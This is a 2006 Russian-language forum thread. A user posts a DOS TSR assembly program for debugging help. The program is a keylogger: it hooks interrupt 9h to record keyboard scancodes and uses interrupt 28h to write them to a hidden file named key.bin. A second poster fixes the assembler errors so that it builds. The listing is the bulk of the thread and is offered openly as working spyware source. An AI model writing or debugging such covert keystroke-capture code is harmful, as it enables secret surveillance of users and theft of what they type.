Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

проффесионалы прошу вашей помощи....

18K
04 июня 2006 года
segods
1 / / 04.06.2006
Помогите разобраться с парой ошибок.
Я программирую на ассме не очень давно, поетому не все получается, в отличие от тебя...

вот ошибки и листинг программыы:
==================================================
Assembling: prj.txt
prj.txt(96) : error A2070: invalid instruction operands
prj.txt(57) : error A2006: undefined symbol : csllbufl
prj.txt(122) : error A2006: undefined symbol : old
prj.txt(144) : warning A4023: with /coff switch, leading underscore required for start address : start


=====================================================================
.MODEL TINY
.CODE
org 100h
start:
jmp init
save:
; Сохраняем рррегистры...
pushf
push ax
push bx
push cx
push dx
push es
push ds
; Делаемм DS=CS
push cs
pop ds
; Создадим скрытный файл ;)
mov ah,3ch
mov cx,02h
mov dx,offset my_name
int 21h
js end_save ;end.save
; дискриптор суём в BX
mov bx,ax
; Пишем 100байт
mov ah,40h
mov cx,100
mov dx, offset buf
int 21h
; Закрываем файл
mov ah,3Eh
int 21h
end_save:
; Меняем TG1 в 0
mov tg1,0
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
popf
ret
; Тут новый обработчик прерывания int 9h
new_9:
pushf
; Проверка TG1 на 0 (TG2 инициализирован как 1)
cmp cs:[tg2],0
;if =0 then старое прерывание
je m3
push ax
push bx
in al,60h
mov bx,cs:[count]
; по BX в массив buf
mov byte ptr csllbufl [bx],al
inc cs:[count]
;++1
cmp bx,cs:[max_cn]
; если меньше, на m1
jl m1
; TG1=1 - выводить в файл
; TG2=0 - отключить сохранение
mov cs:[tg2],0
mov cs:[tg1],1
m1:
pop bx
pop ax
m3:
popf
jmp cs:[old_9]
old_9 dd 0
count dw 0
; имя файла
my_name db "key.bin"
dw 0
max_cn dw 100
tg1 dw 0
tg2 dw 1
; новый обработчик int 28
new_28:
; вызов старого обработчика
pushf
call dword ptr cs:[old_28]
cmp cs:[tg1],0
je m2
; Сохраняем накопленный буфер в файл
call cs:[save]
m2:
iret
old_28 dd 0
buf db 1000 dup(0)
init:
push cs
pop cs
; подмена int9
push es
push bx
cli
mov ax,03509h
int 21h
sti
mov word ptr [old_9],bx
mov word ptr [old_9+2],es
pop bx
pop es
push dx
cli
mov dx, offset new_9
mov ax, 02509h
int 21h
sti
pop dx
; подмена int 28
push es
push bx
cli
mov ax,03528h
int 21h
sti
mov word ptr [old..28],bx
mov word ptr [old_28+2],es
pop bx
pop es
push dx
cli
mov dx,offset new_28
mov ax,02528h
int 21h
sti
pop dx
mov ax,offset init
pushf
mov cl,4
sar ax,cl
inc ax
popf
mov dx,ax
mov ax,03100h
int 21h
mov ax,04C00h
int 21h
end start
=====================================================================================
3.8K
07 июня 2006 года
Supervisor
158 / / 29.05.2005
Цитата:
prj.txt(57) : error A2006: undefined symbol : csllbufl


Здесь опечатка. Замени "csllbufl" на "buf".

Цитата:
prj.txt(96) : error A2070: invalid instruction operands


Последовательность команд: push cs, pop cs абсолютно лишена смысла. Либо вообще убери их, либо замени на push cs, pop ds (или es).

Цитата:
prj.txt(122) : error A2006: undefined symbol : old


Опять опечатка. mov word ptr [old_28],bx

P.S. Ты бы хоть строки пронумеровал...

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог